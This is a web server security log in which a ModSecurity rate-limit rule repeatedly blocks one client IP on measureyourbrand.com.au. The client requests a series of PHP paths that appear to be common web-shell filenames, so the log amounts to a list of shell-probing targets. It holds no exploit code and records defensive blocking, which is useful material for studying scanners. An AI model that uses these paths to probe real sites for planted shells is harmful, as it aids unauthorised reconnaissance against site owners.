[Mon Apr 13 21:56:37.855343 2026] [:error] [pid 63406:tid 63429] [client 74.248.132.51:51750] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "adz2FbHZEIkQ0Zmgp5ribQAAANI"]
[Mon Apr 13 21:56:39.014653 2026] [:error] [pid 9314:tid 9316] [client 74.248.132.51:61485] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "adz2F2_r4W8fX2GWyGQ74gAAAYA"]
[Mon Apr 13 21:56:39.692087 2026] [:error] [pid 63406:tid 63414] [client 74.248.132.51:61547] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "adz2F7HZEIkQ0Zmgp5ridwAAAMM"]
[Mon Apr 13 21:56:40.227110 2026] [:error] [pid 63406:tid 63423] [client 74.248.132.51:57206] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adz2GLHZEIkQ0Zmgp5rifQAAAMw"]
[Mon Apr 13 21:56:40.732917 2026] [:error] [pid 63406:tid 63425] [client 74.248.132.51:57170] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adz2GLHZEIkQ0Zmgp5rigQAAAM4"]
[Mon Apr 13 21:56:41.256140 2026] [:error] [pid 63406:tid 63424] [client 74.248.132.51:50097] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adz2GbHZEIkQ0Zmgp5rihwAAAM0"]
[Mon Apr 13 21:56:41.973352 2026] [:error] [pid 7228:tid 7234] [client 74.248.132.51:54382] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adz2GQEnn1dQrOSHHNWvfwAAAQQ"]
[Mon Apr 13 21:56:43.101096 2026] [:error] [pid 63310:tid 63367] [client 74.248.132.51:54346] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adz2G3oXpRU5ztmwPjJrWQAAAFc"]
[Mon Apr 13 21:56:43.927967 2026] [:error] [pid 57183:tid 57206] [client 74.248.132.51:57185] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adz2GzDO3t8R5NaxzYRnEgAAAVU"]
[Mon Apr 13 21:56:44.479077 2026] [:error] [pid 57183:tid 57189] [client 74.248.132.51:61523] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adz2HDDO3t8R5NaxzYRnGAAAAUQ"]
[Mon Apr 13 21:56:45.277070 2026] [:error] [pid 7228:tid 7249] [client 74.248.132.51:61441] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adz2HQEnn1dQrOSHHNWvgQAAARM"]
[Mon Apr 13 21:56:46.242137 2026] [:error] [pid 63309:tid 63314] [client 74.248.132.51:61513] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "adz2HkpIKZ10weXpf0U3MgAAAAE"]
[Mon Apr 13 21:56:46.905724 2026] [:error] [pid 63311:tid 63382] [client 74.248.132.51:62042] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "adz2HqHjrGN1MqBCVFkXXwAAAIs"]
[Mon Apr 13 21:56:48.280693 2026] [:error] [pid 63309:tid 63324] [client 74.248.132.51:51743] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "adz2IEpIKZ10weXpf0U3PQAAAAs"]
[Mon Apr 13 21:56:49.674601 2026] [:error] [pid 9314:tid 9320] [client 74.248.132.51:57168] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "adz2IW_r4W8fX2GWyGQ77wAAAYQ"]
[Mon Apr 13 21:56:51.886177 2026] [:error] [pid 63311:tid 63395] [client 74.248.132.51:61482] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adz2I6HjrGN1MqBCVFkXaAAAAJg"]
[Mon Apr 13 21:56:53.167723 2026] [:error] [pid 7228:tid 7250] [client 74.248.132.51:51725] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adz2JQEnn1dQrOSHHNWvigAAARQ"]
[Mon Apr 13 21:56:53.903387 2026] [:error] [pid 57183:tid 57185] [client 74.248.132.51:57163] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adz2JTDO3t8R5NaxzYRnHgAAAUA"]
[Mon Apr 13 21:56:54.718985 2026] [:error] [pid 57183:tid 57203] [client 74.248.132.51:54371] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adz2JjDO3t8R5NaxzYRnIwAAAVI"]
[Mon Apr 13 21:56:55.475264 2026] [:error] [pid 7228:tid 7230] [client 74.248.132.51:7950] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "adz2JwEnn1dQrOSHHNWvjwAAAQA"]
[Mon Apr 13 21:56:56.116123 2026] [:error] [pid 9314:tid 9330] [client 74.248.132.51:7455] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "adz2KG_r4W8fX2GWyGQ7_wAAAY4"]
[Mon Apr 13 21:56:56.857886 2026] [:error] [pid 7228:tid 7235] [client 74.248.132.51:61449] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "adz2KAEnn1dQrOSHHNWvkgAAAQU"]
[Mon Apr 13 21:56:57.430803 2026] [:error] [pid 63311:tid 63394] [client 74.248.132.51:54369] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "adz2KaHjrGN1MqBCVFkXcwAAAJc"]
[Mon Apr 13 21:56:58.076384 2026] [:error] [pid 7228:tid 7245] [client 74.248.132.51:60291] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "adz2KgEnn1dQrOSHHNWvlAAAAQ8"]
[Mon Apr 13 21:56:58.808975 2026] [:error] [pid 63311:tid 63382] [client 74.248.132.51:7454] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "adz2KqHjrGN1MqBCVFkXdwAAAIs"]
[Mon Apr 13 21:56:59.549139 2026] [:error] [pid 7228:tid 7240] [client 74.248.132.51:61529] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "adz2KwEnn1dQrOSHHNWvmQAAAQo"]
[Mon Apr 13 21:57:00.518146 2026] [:error] [pid 9314:tid 9330] [client 74.248.132.51:50054] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "adz2LG_r4W8fX2GWyGQ8DAAAAY4"]
[Mon Apr 13 21:57:01.512128 2026] [:error] [pid 9314:tid 9320] [client 74.248.132.51:7462] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "adz2LW_r4W8fX2GWyGQ8EQAAAYQ"]
[Mon Apr 13 21:57:02.717360 2026] [:error] [pid 9314:tid 9329] [client 74.248.132.51:7424] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "adz2Lm_r4W8fX2GWyGQ8GAAAAY0"]
[Mon Apr 13 21:57:04.253277 2026] [:error] [pid 9314:tid 9331] [client 74.248.132.51:55472] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "adz2MG_r4W8fX2GWyGQ8HgAAAY8"]
[Mon Apr 13 21:57:06.389038 2026] [:error] [pid 63406:tid 63431] [client 74.248.132.51:51768] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "adz2MrHZEIkQ0Zmgp5rinQAAANQ"]
[Mon Apr 13 21:57:07.797780 2026] [:error] [pid 7228:tid 7237] [client 74.248.132.51:51746] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adz2MwEnn1dQrOSHHNWvqAAAAQc"]
[Mon Apr 13 21:57:09.153669 2026] [:error] [pid 57183:tid 57185] [client 74.248.132.51:7172] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adz2NTDO3t8R5NaxzYRnNgAAAUA"]
[Mon Apr 13 21:57:09.990549 2026] [:error] [pid 57183:tid 57199] [client 74.248.132.51:55475] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adz2NTDO3t8R5NaxzYRnOAAAAU4"]
[Mon Apr 13 21:57:10.871133 2026] [:error] [pid 57183:tid 57186] [client 74.248.132.51:7201] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adz2NjDO3t8R5NaxzYRnPgAAAUE"]
[Mon Apr 13 21:57:11.473955 2026] [:error] [pid 57183:tid 57202] [client 74.248.132.51:7231] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "adz2NzDO3t8R5NaxzYRnQQAAAVE"]
[Mon Apr 13 21:57:12.522836 2026] [:error] [pid 63406:tid 63425] [client 74.248.132.51:61486] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "adz2OLHZEIkQ0Zmgp5rioAAAAM4"]
[Mon Apr 13 21:57:13.515579 2026] [:error] [pid 57183:tid 57207] [client 74.248.132.51:47264] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "adz2OTDO3t8R5NaxzYRnSgAAAVY"]
[Mon Apr 13 21:57:14.765129 2026] [:error] [pid 7228:tid 7244] [client 74.248.132.51:61500] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "adz2OgEnn1dQrOSHHNWvuQAAAQ4"]
[Mon Apr 13 21:57:16.260139 2026] [:error] [pid 57183:tid 57187] [client 74.248.132.51:61546] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "adz2PDDO3t8R5NaxzYRnVgAAAUI"]
[Mon Apr 13 21:57:17.114513 2026] [:error] [pid 9314:tid 9323] [client 74.248.132.51:54350] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "adz2PW_r4W8fX2GWyGQ8NgAAAYc"]
[Mon Apr 13 21:57:17.683738 2026] [:error] [pid 57183:tid 57188] [client 74.248.132.51:51752] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "adz2PTDO3t8R5NaxzYRnXQAAAUM"]
[Mon Apr 13 21:57:18.260840 2026] [:error] [pid 9314:tid 9327] [client 74.248.132.51:63948] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "adz2Pm_r4W8fX2GWyGQ8OQAAAYs"]
[Mon Apr 13 21:57:19.198078 2026] [:error] [pid 7228:tid 7235] [client 74.248.132.51:57746] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "adz2PwEnn1dQrOSHHNWvwQAAAQU"]
[Mon Apr 13 21:57:29.194799 2026] [:error] [pid 63406:tid 63421] [client 74.248.132.51:54351] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "adz2SbHZEIkQ0Zmgp5ri2AAAAMo"]
[Mon Apr 13 21:57:29.835284 2026] [:error] [pid 7228:tid 7244] [client 74.248.132.51:61507] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "adz2SQEnn1dQrOSHHNWvxAAAAQ4"]
[Mon Apr 13 21:57:30.669931 2026] [:error] [pid 9314:tid 9318] [client 74.248.132.51:51723] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "adz2Sm_r4W8fX2GWyGQ8QgAAAYI"]
[Mon Apr 13 21:57:31.310474 2026] [:error] [pid 63406:tid 63413] [client 74.248.132.51:55149] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "adz2S7HZEIkQ0Zmgp5ri3QAAAMI"]
[Mon Apr 13 21:57:31.984462 2026] [:error] [pid 63406:tid 63430] [client 74.248.132.51:61511] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adz2S7HZEIkQ0Zmgp5ri4AAAANM"]
[Mon Apr 13 21:57:32.859707 2026] [:error] [pid 9314:tid 9324] [client 74.248.132.51:61515] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adz2TG_r4W8fX2GWyGQ8TgAAAYg"]
[Mon Apr 13 21:57:33.651444 2026] [:error] [pid 9314:tid 9339] [client 74.248.132.51:51745] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adz2TW_r4W8fX2GWyGQ8VAAAAZc"]
[Mon Apr 13 21:57:34.391033 2026] [:error] [pid 7228:tid 7245] [client 74.248.132.51:7190] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adz2TgEnn1dQrOSHHNWv0QAAAQ8"]
[Mon Apr 13 21:57:35.410666 2026] [:error] [pid 63310:tid 63348] [client 74.248.132.51:57156] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "adz2T3oXpRU5ztmwPjJrbAAAAEQ"]
[Mon Apr 13 21:57:36.528030 2026] [:error] [pid 7228:tid 7235] [client 74.248.132.51:7185] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "adz2UAEnn1dQrOSHHNWv2wAAAQU"]
[Mon Apr 13 21:57:37.381022 2026] [:error] [pid 7228:tid 7234] [client 74.248.132.51:7176] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "adz2UQEnn1dQrOSHHNWv3gAAAQQ"]
